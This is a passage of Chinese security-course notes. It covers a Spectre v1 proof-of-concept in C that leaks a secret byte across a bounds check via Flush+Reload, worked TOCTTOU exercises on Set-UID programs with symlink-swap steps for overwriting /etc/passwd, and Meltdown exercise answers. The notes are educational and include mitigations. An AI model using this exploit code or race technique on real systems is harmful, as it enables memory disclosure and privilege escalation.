    • 预测错误:CPU 会丢弃所有推测执行的结果,回滚到分支前的状态,然后沿着正确的分支路径重新执行。从程序的外部视角看,就好像错误路径的代码从未被执行过。

Spectre 漏洞的核心:与 Meltdown 类似,当 CPU 因预测错误而回滚状态时,它清除了寄存器和内存的修改,但没有清除推测执行对 CPU 缓存留下的痕迹。攻击者可以通过“训练”分支预测器,诱导 CPU 去推测性地执行本不应该被执行的代码路径,并通过缓存侧信道来窃取这些代码访问过的数据。

我们可以设计一个实验来观察并利用分支预测。核心思想是:

  1. 训练 (Train):反复调用一个函数,使其内部的 if 语句总是为真,从而“训练”CPU的分支预测器,让它相信这个 if 条件通常会成立。

  2. 触发 (Trigger):在一次关键的调用中,传入一个会使 if 语句为假的参数。同时,通过 _mm_clflush 指令,确保 if 条件所依赖的变量不在缓存中,从而人为地制造一个较长的延迟窗口。

  3. 利用 (Exploit):由于分支预测器被训练过,CPU 会预测 if 为真,并推测性地执行 if 块内的代码,尽管这次条件实际上为假。这段被错误推测执行的代码会留下缓存痕迹。

SpectreExperiment.c - 验证分支预测的副作用

C
#include <stdio.h>
#include <emmintrin.h>
#include <x86intrin.h>

#define DELTA 1024
uint8_t array[256*4096];
int size = 10;

// (此处省略 flushSideChannel 和 reloadSideChannel 的代码)

void victim(size_t x) {
    if (x < size) {                         // ① 条件分支
        volatile int temp = array[x * 4096 + DELTA]; // ② 推测执行的目标代码
    }
}

int main() {
    flushSideChannel(); // 清空探测数组

    // ③ 训练阶段: 反复用有效值调用victim(), 让CPU预测 if (x < size) 为真
    for (int i = 0; i < 10; i++) {
        victim(i);
    }

    // ④ 触发阶段
    _mm_clflush(&size); // 将'size'从缓存中清除, 制造延迟
    victim(97);         // 用一个越界值(97 > 10)调用, 此时条件为假

    // ⑤ 探测阶段
    reloadSideChannel(); // 检查 array[97 * ...] 是否被缓存
    return 0;
}
C
$ gcc -march=native SpectreExperiment.c
$ ./a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.

实验结果证明,尽管 97 < 10 明显为假,if 块内的代码(行②)在逻辑上不应执行,但它确实被 CPU 推测性地执行了,并通过 array[97 * …] 的访问在缓存中留下了痕迹。

现在,我们将这个原理应用到一个更真实的场景:绕过软件沙箱的边界检查。

我们假设有一个沙箱函数 restrictedAccess,它只允许访问一个 buffer 数组的合法索引(0-9)。数组之外的内存区域(上方或下方)存放着我们的秘密数据。

C
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char *secret = "Some Secret Value";

// 沙箱函数
uint8_t restrictedAccess(size_t x) {
    if (x <= bound_upper && x >= bound_lower) {
        return buffer[x];
    } else {
        return 0;
    }
}

攻击目标是:通过调用 restrictedAccess 函数,读取到 secret 字符串的内容。

攻击思路如下:

  1. 计算出 secret 相对于 buffer 起始地址的索引 index_beyond。这个索引显然是越界的。
  2. 通过循环调用 restrictedAccess 并传入合法索引,来训练分支预测器。
  3. 清除边界变量 bound_upper 和 bound_lower 的缓存,为推测执行创造窗口。
  4. 调用 restrictedAccess(index_beyond)。CPU 会推测性地执行 if 为真的分支,返回 buffer[index_beyond] 的值,这个值实际上就是 secret 的第一个字节。
  5. 将这个返回的秘密字节 s 作为索引,去访问我们的探测数组 array(即执行 array[s * 4096 + DELTA] += 88;)。
  6. 这个访问操作会在缓存中留下痕迹。最后通过 reloadSideChannel 找出这个痕迹,从而反推出秘密字节 s 的值。
C
#include ...

// (省略 buffer, secret, bounds, array 的定义和 flush/reload 函数)

uint8_t restrictedAccess(size_t x) { /* ... 如上定义 ... */ }

void spectreAttack(size_t index_beyond) {
    int i;
    volatile int z;
    uint8_t s;

    // 训练CPU,使其预测分支为真
    for (i = 0; i < 10; i++) {
        restrictedAccess(i);
    }

    // 清除边界变量和探测数组的缓存
    _mm_clflush(&bound_upper);
    _mm_clflush(&bound_lower);
    for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
    for (z = 0; z < 100; z++) { } // 延迟

    // 核心攻击:
    s = restrictedAccess(index_beyond);      // ① 推测性执行,s = secret_byte
    array[s * 4096 + DELTA] += 88;           // ② 利用 s 留下缓存痕迹
}

int main() {
    flushSideChannel();
    
    // 计算秘密的越界索引
    size_t index_beyond = (size_t)(secret - (char*)buffer);
    
    spectreAttack(index_beyond);
    
    reloadSideChannel();
    return 0;
}
C
$ gcc -march=native SpectreAttack.c
$ ./a.out
...
array[83*4096 + 1024] is in cache.
The Secret = 83(S).

攻击成功窃取了秘密字符串 “Some Secret Value” 的第一个字节 ‘S’ (ASCII 83)。 有时,你可能会观察到两个结果被打印出来:The Secret = 0() 和 The Secret = 83(S)。这是因为攻击代码(行②)被执行了两次:

  • 第一次(推测执行): s 的值是秘密字节83,导致 array[83*…] 被缓存。
  • 第二次(正常执行): CPU 发现预测错误后回滚,并沿正确路径执行,restrictedAccess 返回 0。此时 s 的值变为 0,导致 array[0*…] 也被缓存。

与熔断攻击一样,Spectre 攻击也受噪声影响,需要使用统计方法来提高准确性。通过循环执行攻击上千次,并用 scores 数组记录缓存命中次数,最后取分值最高的索引作为结果。

SpectreAttackImproved.c 的逻辑与 MeltdownAttack.c 的统计优化版本非常相似,通过reloadSideChannelImproved函数累加scores数组,并在主循环中重复调用spectreAttack。

一个有趣且重要的细节是,在某些系统环境(如 Ubuntu 20.04)中,攻击循环中需要加入微小的延迟(如usleep(10))或一些I/O操作(如printf)才能稳定成功。这表明 Spectre 攻击对时序的控制要求极为精确,这些看似无关的操作可能恰好创造了攻击成功所需的时序条件。

自首次发现以来,已出现多种 Spectre 变体,影响了几乎所有现代高性能处理器。

缓解措施比 Meltdown 更复杂:

  1. 软件缓解
    • 编译器修改:编译器可以插入指令(如 lfence)来充当“推测屏障”,阻止 CPU 越过某些检查点进行推测。
    • Retpoline:一种防止间接分支被利用于推测执行的技术,但有性能影响。
    • 浏览器隔离:现代浏览器通过“站点隔离”技术,将不同网站的内容放在不同的进程中,大大增加了 Spectre 跨站攻击的难度。
  2. 硬件缓解:新的处理器设计中包含了针对性的修复,以限制或消除有害的推测执行。

Spectre 揭示了处理器为了追求性能而做的设计决策与安全需求之间的深刻矛盾,对硬件和软件安全领域产生了深远的影响。

Racing Condition 练习题和解析

题目

![[Pasted image 20251117002749.png]]![[Pasted image 20251117002800.png]]![[Pasted image 20251117002809.png]]![[Pasted image 20251117002816.png]] 好的,我们来逐一解答这些关于竞态条件漏洞的练习题。

关键名词 (中英文对照)

  • 竞态条件 (Race Condition): 一种系统或程序的输出取决于其他不可控事件的执行时间顺序的情况。
  • Set-UID: 一种特殊的权限位,允许用户以文件所有者(通常是 root)的权限来执行程序。
  • 检查时间与使用时间差 (Time-of-Check-to-Time-of-Use, TOCTTOU): 一种因在检查资源状态和使用该资源之间存在时间窗口而产生的竞态条件漏洞。
  • 符号链接/软链接 (Symbolic Link / Soft Link): 一种特殊类型的文件,其内容是到另一个文件或目录的路径。
  • 文件描述符 (File Descriptor): 一个非负整数,内核用以表示一个进程打开的文件。
  • 原子操作 (Atomic Operation): 一个不可中断的操作序列;在多线程环境中,它要么完全执行,要么完全不执行,不会出现中间状态。
  • 最小权限原则 (Principle of Least Privilege): 指一个主体(如进程)应该只拥有完成其任务所必需的最少权限。
  • 粘滞位 (Sticky Bit): 应用于目录的一种权限位,设置后,该目录下的文件只能由文件所有者、目录所有者或 root 用户删除或重命名。

S7.1. 下列 Set-UID 程序是否存在竞态条件漏洞?

中文翻译

S7.1. 下列 Set-UID 程序是否存在竞态条件漏洞?

C
if (!access("/etc/passwd", W_OK)) {
    /* 真实用户拥有写权限 */
    f = open("/tmp/X", O_WRITE);
    write_to_file(f);
}
else {
    /* 真实用户没有写权限 */
    fprintf(stderr, "Permission denied\n");
}

解析

不存在可被利用的竞态条件漏洞。

程序首先使用 access() 检查真实用户是否对 /etc/passwd 文件有写入权限。对于一个普通用户来说,这个检查几乎总是失败的,因为 /etc/passwd 文件通常只对 root 用户可写。

因此,access("/etc/passwd", W_OK) 的返回值不会是 0,if 条件 !access(...) 为假。程序将执行 else 分支,打印 “Permission denied” 并退出。位于 if 块内的 open() 调用永远不会被执行,因此攻击者没有机会在 access()open() 之间进行攻击。虽然代码结构看起来有“检查后使用”的模式,但由于检查的条件(对 /etc/passwd 的写权限)对攻击者来说无法满足,漏洞的触发路径实际上是不可达的。


S7.2. 使用 faccess() 的程序是否存在竞态条件问题?

中文翻译

S7.2. 假设我们开发了一个新的系统调用 faccess(int fd, int mode),它与 access() 相同,只是要检查的文件由文件描述符 fd 指定。下列程序是否存在竞态条件问题?

C
int f = open("/tmp/x", O_WRITE);
if (!faccess(f, W_OK)) {
    write_to_file(f)
} else {
    close(f);
}

解析

不存在竞态条件问题。

这个程序通过以下步骤避免了竞态条件:

  1. open() 获取文件句柄: 程序首先调用 open(),内核会打开 /tmp/x 文件并返回一个文件描述符 (file descriptor) f。这个文件描述符是内核中对一个特定文件(inode)的直接引用。
  2. faccess() 基于句柄检查: 随后的 faccess(f, W_OK) 调用是基于这个已经确定的文件描述符 f 来检查权限的。
  3. 消除攻击窗口: 攻击者无法在 open() 之后、faccess() 之前通过修改文件名或符号链接来改变 f 所指向的文件。文件描述符一旦被分配,就与原始文件绑定。

因为检查 (faccess) 和使用 (write_to_file) 都作用于同一个由文件描述符 f 锁定的文件句柄,所以“检查时间”和“使用时间”之间不存在攻击窗口。这种方法有效地将检查和使用绑定到了同一个对象上,消除了 TOCTTOU 漏洞。


S7.3. 攻击者在下列程序中需要赢得多少个竞态条件?

中文翻译

S7.3. 攻击者在下列程序中需要赢得多少个竞态条件?

C
int main()
{
    struct stat stat1, stat2;
    int fd1, fd2;

    if (access("/tmp/XYZ", O_RDWR)) {
        fprintf(stderr, "Permission denied\n");
        return -1;
    }
    else fd1 = open("/tmp/XYZ", O_RDWR);

    if (access("/tmp/XYZ", O_RDWR)) {
        fprintf(stderr, "Permission denied\n");
        return -1;
    }
    else fd2 = open("/tmp/XYZ", O_RDWR);

    // 程序接着检查 fd1 和 fd2 是否指向同一个文件,
    // 如果是,程序将向 fd1 (或 fd2) 写入。
    // 否则,程序什么也不做就退出。
}

解析

攻击者需要赢得 3 个竞态条件。

攻击的目标是让 fd1fd2 都指向一个受保护的文件(例如 /etc/passwd)。这需要在一系列操作中精确地切换 /tmp/XYZ 的指向。攻击窗口如下:

  1. 赢得第 1 个竞态条件 (窗口 1): 在第一个 access() 之后和第一个 open() 之前。

    • 攻击前:/tmp/XYZ 指向攻击者拥有的文件,使 access() 检查通过。
    • 窗口期操作:攻击者迅速将 /tmp/XYZ 改为指向 /etc/passwd 的符号链接。
    • 结果:fd1 = open(...) 打开了 /etc/passwd
  2. 赢得第 2 个竞态条件 (窗口 2): 在第一个 open() 之后和第二个 access() 之前。

    • 窗口期操作:攻击者必须迅速将 /tmp/XYZ 指回自己拥有的文件。
    • 结果:第二个 access() 检查再次通过。
  3. 赢得第 3 个竞态条件 (窗口 3): 在第二个 access() 之后和第二个 open() 之前。

    • 窗口期操作:攻击者再次将 /tmp/XYZ 改为指向 /etc/passwd 的符号链接。
    • 结果:fd2 = open(...) 也打开了 /etc/passwd

最终,程序通过 fstat() 等方式检查发现 fd1fd2 指向同一个 inode(即 /etc/passwd 的 inode),检查通过,从而向受保护文件写入数据。攻击者必须成功完成这三次切换,因此需要赢得全部 3 个竞态条件。


S7.4. open() 系统调用本身是否存在竞态条件问题?

中文翻译

S7.4. 在 open() 系统调用中,它首先检查用户是否拥有访问目标文件的所需权限,然后才实际打开文件。这似乎是一个“检查后使用”的模式。这种模式是否会导致竞态条件问题?

解析

不会。

虽然 open() 内部也遵循“检查后使用”的逻辑,但它不会导致用户可以利用的竞态条件漏洞。原因是:

  1. 原子性: 权限检查和文件打开这两个步骤都是在内核空间中作为一个原子操作完成的。
  2. 内核保护: 当一个进程的 open() 调用进入内核后,内核可以利用内部的锁机制来确保在检查权限到实际打开文件的这个极小的时间窗口内,没有其他任何进程可以修改目标文件的状态(例如,通过符号链接进行切换)。

由于整个操作对于用户空间的进程来说是不可中断的,攻击者无法在检查和使用之间插入恶意操作。因此,open() 系统调用本身是安全的,不会受到 TOCTTOU 攻击。


S7.5. 最小权限原则能否有效防御缓冲区溢出攻击?

中文翻译

S7.5. 最小权限原则可以有效地防御本章讨论的竞态条件攻击。我们能否使用同样的原则来挫败缓冲区溢出攻击?为什么?即,在执行易受攻击的函数之前,我们禁用 root 权限;在易受攻击的函数返回后,我们再恢复权限。

解析

不能。这种方法对防御缓冲区溢出攻击无效。

原因在于两种攻击的根本区别:

  • 竞态条件攻击: 攻击者只是操纵程序的环境(例如,修改符号链接),但不能执行自己的代码。因此,如果程序在执行敏感操作(如 open)前放弃了 root 权限,该操作就会因为权限不足而失败,攻击者没有办法重新获取权限。
  • 缓冲区溢出攻击: 攻击的核心是劫持程序的控制流,使其执行攻击者注入的恶意代码 (shellcode)。如果程序只是临时放弃权限(使用 seteuid()),那么攻击者的代码一旦被执行,它就可以简单地调用 seteuid(0) 来恢复 root 权限,因为保存的 set-user-ID 仍然是 root。

因此,临时禁用权限无法阻止能够执行任意代码的攻击,因为攻击代码本身就可以将权限恢复。


S7.6. 下列程序是否存在竞态条件,如何利用?

中文翻译

S7.6. 下列 root 所有的 Set-UID 程序需要向一个文件写入,但它想确保该文件为用户所有。它使用 stat() 来获取文件所有者的 ID,并与进程的真实用户 ID 比较。如果二者不匹配,程序将退出。请描述该程序是否存在竞态条件?如果存在,请解释如何利用它。

C
// ... includes ...
int main()
{
    // ... declarations ...
    fp = fopen("/tmp/XYZ", "a+");
    stat("/tmp/XYZ", &statbuf);

    printf("The file owner's user ID: %d\n", statbuf.st_uid);
    printf("The process's real user ID: %d\n", getuid());

    // Check whether the file belongs to the user
    if (statbuf.st_uid == getuid()) {
        printf("IDs match, continue to write to the file.\n");
        // write to the file ...
        if (fp) fclose(fp);
    } else {
        printf("IDs do not match, exit.\n");
        if (fp) fclose(fp);
        return -1;
    }
    return 0;
}

解析

是,该程序存在一个经典的 TOCTTOU 竞态条件漏洞。

攻击窗口位于 fopen() 调用和 stat() 调用之间。

利用方法:

攻击者需要赢得 fopen()stat() 之间的竞态。

  1. 准备: 攻击者在其控制的进程中循环执行以下操作:

    • /tmp/XYZ 设置为指向一个受保护文件(如 /etc/passwd)的符号链接。
    • 稍等片刻,再将 /tmp/XYZ 设置为指向一个自己拥有的文件(如 /tmp/dummy)的符号链接。
  2. 攻击执行过程:

    • 步骤 1 (fopen): 当 Set-UID 程序执行 fopen("/tmp/XYZ", "a+") 时,如果 /tmp/XYZ 正好指向 /etc/passwd,由于程序拥有 root 权限,fopen() 会成功打开 /etc/passwd 文件。返回的文件指针 fp 现在就指向了 /etc/passwd
    • 步骤 2 (赢得竞态): 在程序执行 stat() 之前,攻击者的进程必须成功地将 /tmp/XYZ 符号链接切换为指向自己拥有的文件 /tmp/dummy
    • 步骤 3 (stat): 程序接着执行 stat("/tmp/XYZ", &statbuf)。此时,它检查的是 /tmp/dummy 文件的属性。由于该文件为攻击者所有,statbuf.st_uid 将会等于 getuid(),权限检查通过。
    • 步骤 4 (写入): 程序进入 if 块,并向 fp 指向的文件写入数据。因为 fp 在第 1 步已经绑定到了 /etc/passwd,所以数据最终被写入了受保护的密码文件,攻击成功。

这个漏洞的根源在于,程序打开了一个文件,然后又基于文件名去检查了另一个文件的属性。


S7.7. 使用 fstat() 的程序是否存在竞态条件,如何利用?

中文翻译

S7.7. 下列 root 所有的 Set-UID 程序需要向一个文件写入,但它想确保该文件为用户所有。它使用 fstat() 来获取文件所有者的 ID,并与进程的真实用户 ID 比较。如果二者不匹配,程序将退出。请描述该程序是否存在竞态条件?如果存在,请解释如何利用它。fstat()fileno() 的手册可以在线找到。

C
// ... includes ...
int main()
{
    // ... declarations ...
    fp = fopen("/tmp/XYZ", "a+");
    fstat(fileno(fp), &statbuf);

    printf("The file owner's user ID: %d\n", statbuf.st_uid);
    printf("The process's real user ID: %d\n", getuid());

    // Check whether the file belongs to the user
    if (statbuf.st_uid == getuid()) {
        printf("IDs match, continue to write to the file.\n");
        // write to the file ...
        if (fp) fclose(fp);
    } else {
        printf("IDs do not match, exit.\n");
        if (fp) fclose(fp);
        return -1;
    }
    return 0;
}

解析

不存在竞态条件漏洞。

这个版本的程序通过使用 fstat() 修复了 S7.6 中的漏洞。原因如下:

  1. fopen() 获取文件句柄: 程序首先调用 fopen() 打开 /tmp/XYZ 文件,并获得一个文件流指针 fp
  2. fileno() 获取文件描述符: fileno(fp) 函数从文件流指针 fp 中提取出内核对应的文件描述符 (file descriptor)。这个文件描述符是内核中对已打开文件的唯一、确定的引用。
  3. fstat() 基于文件描述符检查: fstat() 函数直接对这个文件描述符进行操作,获取该已打开文件的元数据(包括所有者 ID)。

关键区别在于,stat() 是基于文件名进行操作的,而 fstat() 是基于文件描述符。一旦文件被打开,文件描述符就与底层的 inode (文件本身) 绑定了。即使攻击者在 fopen() 之后修改了 /tmp/XYZ 这个符号链接,fp 所对应的文件描述符仍然指向最初打开的那个文件。

由于检查 (fstat) 和使用(写入文件)都作用于同一个已经打开的文件句柄,因此不存在时间窗口让攻击者可以切换文件。这个程序是安全的。


S7.8. 为什么不使用文件锁来解决本章讨论的竞态条件问题?

中文翻译

S7.8. 如果我们可以锁定一个文件,我们就可以通过在检查和使用的时间窗口内锁定文件来解决竞态条件问题,因为没有其他进程可以在此时间窗口内使用该文件。为什么我们不使用这种方法来解决本章讨论的竞态条件问题?

解析

不使用文件锁来解决这类安全问题,主要是因为在大多数操作系统(包括 Linux)中,文件锁是**“劝告锁” (advisory locks),而不是“强制锁” (mandatory locks)**。

  • 劝告锁 (Advisory Locks): 这种锁机制依赖于所有进程的“自觉遵守”。一个进程可以给文件上锁,但这个锁只对那些同样会去检查和尊重锁的进程有效。一个恶意的攻击进程可以完全忽略这个锁的存在,直接对文件进行修改。因此,它无法阻止一个不合作的攻击者。
  • 强制锁 (Mandatory Locks): 这种锁由操作系统内核强制执行。一旦文件被锁定,内核会阻止任何其他进程(即使是 root,除非有特殊权限)对其进行不兼容的操作,无论该进程是否尝试获取锁。

操作系统之所以不普遍实现强制锁,是因为它很容易被滥用,导致拒绝服务 (Denial-of-Service, DoS) 攻击。一个恶意用户可以锁定关键的系统文件(如 /etc/passwd),导致整个系统无法正常工作。因此,出于系统稳定性和可用性的考虑,主流操作系统采用了更安全的劝告锁机制,但这使其不适用于防御恶意的竞态条件攻击。


S7.9. 下列特权程序是否存在竞态条件问题?攻击窗口在哪里?如何利用?

中文翻译

S7.9. 下列特权的 Set-UID 程序是否存在竞态条件问题?如果存在,攻击窗口在哪里?也请描述你将如何利用这个竞态条件窗口。

C
1   filename = "/tmp/XYZ";
2   fd = open(filename, O_RDWR);
3   status = access(filename, W_OK);
    ... (code omitted) ...
10  if (status == ACCESS_ALLOWED) {
11      write_to_file(fd);
12  } else {
13      fprintf(stderr, "Permission denied\n");
14  }

解析

是,该程序存在一个严重的竞态条件漏洞。

这个程序的逻辑顺序是“使用-再检查-再使用”,这同样是不安全的。

  • 攻击窗口: 攻击窗口位于第 2 行 open() 调用和第 3 行 access() 调用之间。

  • 利用方法: 攻击的目标是欺骗 access() 检查,同时让 open() 打开一个受保护的文件。

    1. 准备阶段: 在程序运行之前,攻击者将 /tmp/XYZ 创建为一个指向受保护文件(如 /etc/passwd)的符号链接。
      BASH
      $ ln -s /etc/passwd /tmp/XYZ
    2. 攻击执行过程:
      • 第 2 行 (open): Set-UID 程序以 root 权限执行 open("/tmp/XYZ", O_RDWR)。由于程序是 root,它会跟随符号链接并成功打开 /etc/passwd 文件。返回的文件描述符 fd 现在指向 /etc/passwd
      • 赢得竞态 (攻击窗口):open() 执行完毕后、access() 执行前,攻击者的进程必须迅速地将 /tmp/XYZ 符号链接修改为指向一个攻击者自己拥有的文件(例如 /tmp/dummy)。
      BASH
      $ ln -sf /tmp/dummy /tmp/XYZ  // -f 强制覆盖
      • 第 3 行 (access): 程序执行 access("/tmp/XYZ", W_OK)。此时 /tmp/XYZ 指向的是 /tmp/dummy。由于该文件为攻击者所有,access() 检查真实用户的权限会成功,status 被设为 ACCESS_ALLOWED
      • 第 11 行 (write_to_file): if 条件判断为真,程序执行 write_to_file(fd)。它会向文件描述符 fd 写入数据。因为 fd 在第 2 步已经绑定到了 /etc/passwd,所以数据最终被写入了受保护的密码文件。攻击成功。

这个漏洞的根源在于,程序打开文件(使用)和检查权限(检查)的对象不一致:一个基于文件名,一个基于已经打开的文件描述符,而文件名在两者之间可以被攻击者改变。


S7.10. 请使用最小权限原则修复下列程序中的竞态条件问题。

中文翻译

S7.10. 请使用最小权限原则修复下列程序中的竞态条件问题。

C
if (access("/tmp/XYZ", W_OK) == ACCESS_ALLOWED) {
    f = open("/tmp/XYZ", O_WRITE);
    write_to_file(f);
}
else {
    fprintf(stderr, "Permission denied\n");
}

解析

这个程序存在经典的 TOCTTOU 漏洞,因为它先以真实用户的身份检查权限 (access),然后以 root 身份打开文件 (open)。

最小权限原则 (Principle of Least Privilege) 的核心思想是:只在绝对必要时才使用高权限。在这个场景中,打开一个位于 /tmp 目录下的、应该由普通用户拥有的文件,并不需要 root 权限。

我们可以通过在调用 open() 之前临时放弃 root 权限来修复此漏洞。这样,open() 系统调用本身就会利用内核来进行正确的权限检查(基于当前的有效用户 ID,我们将其临时设置为真实用户 ID)。

修复后的代码:

C
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

// 假设 write_to_file(int fd) 函数已定义

int main() {
    char *filename = "/tmp/XYZ";
    int f;
    
    // 获取真实用户ID和有效的用户ID
    uid_t ruid = getuid();
    uid_t euid = geteuid();

    // 1. 临时放弃root权限,将有效用户ID设置为真实用户ID
    if (seteuid(ruid) != 0) {
        perror("seteuid failed");
        return -1;
    }

    // 2. 以普通用户权限打开文件。不再需要 access() 检查。
    // 内核会替我们完成正确的权限检查。
    f = open(filename, O_WRITE);

    // 3. 如果后续操作需要,可以恢复root权限
    if (seteuid(euid) != 0) {
        perror("seteuid failed");
        // 即使恢复失败,也应该处理已打开的文件
        if (f != -1) close(f);
        return -1;
    }

    // 4. 处理 open() 的结果
    if (f != -1) {
        // 此时可以以 root 权限进行写操作
        write_to_file(f);
        close(f);
    } else {
        // 如果 open() 失败,打印权限错误
        fprintf(stderr, "Permission denied\n");
    }

    return 0;
}

通过这种方式,access() 检查被完全移除,竞态条件的窗口也随之消失。open() 操作的原子性保证了其安全性。

Meltdown & Spectre 漏洞 练习题和解析

![[Pasted image 20251117002706.png]] ![[Pasted image 20251117002713.png]]

关键名词 (Key Terms)

中文英文
侧信道Side Channel
乱序执行Out-of-Order Execution
推测执行Speculative Execution
分支预测Branch Prediction
CPU 缓存CPU Cache
缓存命中Cache Hit
熔断攻击Meltdown Attack
幽灵攻击Spectre Attack
内核空间Kernel Space
刷新+重载Flush+Reload
竞态条件Race Condition
沙箱Sandbox
内核页表隔离Kernel Page-Table Isolation (KAISER)

H.1.

中文翻译: 当我们多次读取一个内存地址时,第二次访问通常比第一次访问快,原因是什么?

解析: 这是由 CPU 缓存 (CPU Cache) 机制引起的。当CPU第一次访问一个内存地址时,它需要从相对较慢的主存储器 (RAM) 中获取数据。在获取数据的同时,CPU会将该数据及其附近的数据一同加载到高速的CPU缓存中。当程序第二次访问同一个内存地址时,CPU会直接从缓存中找到数据,这被称为 缓存命中 (Cache Hit)。由于访问CPU缓存的速度远快于访问主存,因此第二次访问的耗时会显著减少。教材在1.2节“基于CPU缓存的侧信道”中对此进行了解释。


H.2.

中文翻译: 关于书中使用的 刷新+重载 (Flush+Reload) 技术,为什么我们使用大小为 256*4096 的数组,而不是大小为 256 的数组?

解析: 这主要是为了避免缓存行 (Cache Line) 的干扰。

  1. 256个条目: 一个字节 (byte) 有256种可能的取值 (0-255)。我们的目标是为每一种可能的值建立一个唯一的映射。因此,我们需要一个有256个条目的探测数组。
  2. 4096字节的步长 (Stride): CPU缓存不是以字节为单位工作的,而是以缓存行为单位(例如64字节)。如果使用一个大小为256的连续字节数组 array[256],访问 array[k] 时,CPU不仅会缓存 array[k],还会缓存其相邻的多个元素(因为它们在同一个缓存行里)。这会导致我们在“重载”阶段检测到多个缓存命中,从而无法准确判断出秘密值是哪一个。 如教材1.2.2节所述,通过使用 4096 字节的巨大步长(array[k*4096]),我们可以确保数组的每个逻辑元素 array[0], array[1], …, array[255] 都位于一个独立的、互不干扰的缓存行中,从而消除了歧义。

H.3.

中文翻译: 我们如何使用CPU缓存作为 侧信道 (Side Channel) 来发送数字89?

解析: 我们可以利用 刷新+重载 (Flush+Reload) 技术来通过CPU缓存侧信道传递数字89。这个过程分为三步,正如教材1.2.2节所描述:

  1. 刷新 (FLUSH): 准备一个大小为 256 * 4096 字节的探测数组。首先,使用 _mm_clflush 指令将这个数组的所有元素都从CPU缓存中清除。
  2. 编码/访问 (Encode/Access): 发送方(或攻击代码)访问探测数组中与数字89对应的那个元素,即 array[89 * 4096]。这个操作会将包含该元素的内存块加载到CPU缓存中。
  3. 重载 (RELOAD): 接收方(或攻击代码)通过测量访问探测数组中从0到255所有元素的时间来解码信息。它会发现,访问 array[89 * 4096] 的时间显著快于访问其他任何元素的时间,因为只有这个地址是 缓存命中 (Cache Hit)。通过找到访问最快的索引,接收方就能恢复出数字89。

H.4.

中文翻译: 我们定义了一个大小为1024字节的数组。如果CPU缓存大小为128字节(即当内存地址x被访问时,从x到x+127的内存都会被CPU缓存)。请描述我们能用这个数组和 刷新+重载 (Flush+Reload) 技术发送多少个不同的值。

解析: 我们可以发送8个不同的值。 这里的关键是CPU缓存的工作单位是缓存行,其大小为128字节。当我们访问这个1024字节数组中的任何一个地址时,包含该地址的整个128字节块都会被加载到缓存中。为了能够明确地区分不同的信号,我们必须确保每个信号对应的内存访问都操作一个独立的、不重叠的缓存行。 数组总大小为1024字节,缓存行大小为128字节。因此,这个数组可以被划分为 1024 / 128 = 8 个独立的缓存行。我们可以将值0映射到第一个128字节块,值1映射到第二个128字节块,以此类推,直到值7映射到最后一个块。通过访问不同块内的地址并检测哪个块被缓存,我们就可以明确地区分和发送8个不同的值。


H.5.

中文翻译: 一个秘密数字存储在内核地址 0xfb102000。以下用户级程序试图访问并打印这个数字。将会发生什么?

C
#include <stdio.h>
int main()
{
  char *kernel_data_addr = (char*)0xfb102000;
  char kernel_data = *kernel_data_addr;
  printf("I have reached here.\n");
  return 0;
}

解析: 这个程序将会崩溃,并由操作系统报告一个 “段错误 (Segmentation fault)”。 如教材1.3.2节“守卫者:内核内存访问防护机制”所述,操作系统通过处理器的特权级来保护 内核空间 (Kernel Space)。用户级程序运行在低特权级,不允许直接访问为内核保留的高特权级内存地址。当程序执行 *kernel_data_addr 试图解引用内核地址时,CPU的内存管理单元 (MMU) 会检测到这个越权访问,并触发一个硬件异常。操作系统会捕获这个异常,并采取默认处理方式——终止这个违规的进程。因此,printf 语句永远不会被执行。


H.6.

中文翻译: 一个秘密数字存储在内核地址 0xfb102000。你正试图将它打印出来。请用通俗的语言描述你将如何做到这一点。

解析: 这是 熔断攻击 (Meltdown Attack) 的核心思想,如教材第1章所述。我会通过以下步骤来窃取并“打印”这个秘密:

  1. 设置陷阱并做好准备: 首先,我会设置一个异常处理程序。这就像在悬崖边设置一个安全网,因为我知道我接下来的操作会“坠落”(即程序会崩溃)。同时,我准备一个包含256个“房间”(探测数组的元素)的大楼,并确保所有房间的灯都是关的(将探测数组从缓存中刷新)。
  2. 制造混乱,瞬间窃取: 在异常处理程序的保护下,我执行一个非法的操作:读取内核地址 0xfb102000 里的秘密数字。我知道这会立即触发警报(硬件异常)。但现代CPU为了追求速度,会进行 乱序执行 (Out-of-Order Execution)。在警报正式响起、我的操作被撤销前的极其短暂的瞬间,CPU已经“偷看”到了秘密数字(假设是S)。
  3. 留下线索: 紧接着,我利用这个偷看到的秘密值S,去访问我准备的大楼里的第S号房间 probe_array[S * 4096]。这个动作就像是瞬间打开了第S号房间的灯。虽然CPU很快会意识到之前的读取是错误的,并撤销一切(程序跳转到异常处理,寄存器里的秘密值被丢弃),但那个房间的“灯”(CPU缓存)却已经被点亮了,CPU“忘记”把它关掉。
  4. 寻找线索: 我的程序因为安全网没有崩溃,而是跳转到了异常处理代码。现在,我快速地检查大楼里的每一个房间,测量进入每个房间的速度。由于第S号房间的灯是亮的(数据在缓存里),进入这个房间的速度会特别快。
  5. 揭示秘密: 一旦我找到了访问最快的那个房间,它的房间号S就是我窃取到的秘密数字。我可以重复这个过程来窃取更多的秘密字节。

H.7.

中文翻译: 为了提高 熔断攻击 (Meltdown Attack) 的成功率,目标内核内存最好已经被CPU缓存了。为什么?

解析: 因为熔断攻击本质上是一场 竞态条件 (Race Condition):即乱序执行中“数据加载”操作与“权限检查”操作之间的速度竞赛。 如教材1.5.2节“通过缓存预载提升攻击效率”所述,当CPU遇到读取内核内存的指令时,它会同时开始加载数据和检查访问权限。

  • 如果目标内核数据已在缓存中: 数据加载会非常快。这给了CPU一个更长的时间窗口,在缓慢的权限检查完成并报告错误之前,去乱序执行后续的、利用该秘密数据的指令(例如访问探测数组)。这大大增加了攻击成功的概率。
  • 如果目标内核数据不在缓存中: CPU需要从主内存中读取数据,这个过程很慢。很可能在数据还没被加载完成时,权限检查就已经结束并抛出异常。这样,乱序执行就会被立即中断,后续的攻击指令根本没有机会被执行,导致攻击失败。

H.8.

中文翻译: 如果CPU不支持 乱序执行 (Out-of-Order Execution),我们还能发起 熔断攻击 (Meltdown Attack) 吗?有什么缺点?

